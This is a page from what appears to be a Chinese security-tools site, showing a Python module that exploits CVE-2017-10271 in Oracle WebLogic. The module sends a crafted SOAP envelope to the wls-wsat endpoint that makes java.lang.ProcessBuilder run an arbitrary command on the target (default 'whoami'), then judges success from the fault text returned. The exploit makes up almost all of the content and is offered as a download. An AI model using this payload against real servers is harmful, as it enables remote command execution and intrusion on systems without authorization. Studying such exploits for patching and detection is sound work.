menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right stars chevron_right cve_2017_10271.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    cve_2017_10271.py
    1.68 KB / 2021-07-12 19:46:00
        #!/usr/bin/env python3
    # _*_ coding:utf-8 _*_
    # 该漏洞不会直接回显
    # 这里根据响应的错误内容确认是否执行成功,可能会出现错漏的情况,需人工确认
    # updated 2019/10/30
    # by 0xn0ne
    
    from stars import universe, Star, target_type
    from utils import http
    
    headers = {
        'Content-Type': 'text/xml;charset=UTF-8',
        'User-Agent': 'TestUA/1.0'
    }
    
    @universe.groups()
    class CVE_2017_10271(Star):
        info = {
            'NAME': '',
            'CVE': 'CVE-2017-10271',
            'TAG': []
        }
        type = target_type.VULNERABILITY
    
        def light_up(self, dip, dport, cmd='whoami', *args, **kwargs) -> (bool, dict):
            url = 'http://{}:{}/wls-wsat/CoordinatorPortType'.format(dip, dport)
            t_data = ''
            for i, c in enumerate(cmd.split()):
                t_data += '<void index="{}"><string>{}</string></void>'.format(i, c)
            data = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java>
                <void class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="2">
                    {}
                  </array>
                  <void method="start"/>
                </void>
              </java>
            </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/>
        </soapenv:Envelope>
        '''.format(t_data)
            res, data = http(url, 'POST', data=data, verify=False, timeout=3, headers=headers)
            if res != None and ('<faultstring>java.lang.ProcessBuilder' in res.text or "<faultstring>0" in res.text):
                return True, {'msg': 'finish.'}
            return False, {'msg': 'finish.'}
    
    
    links
    file_download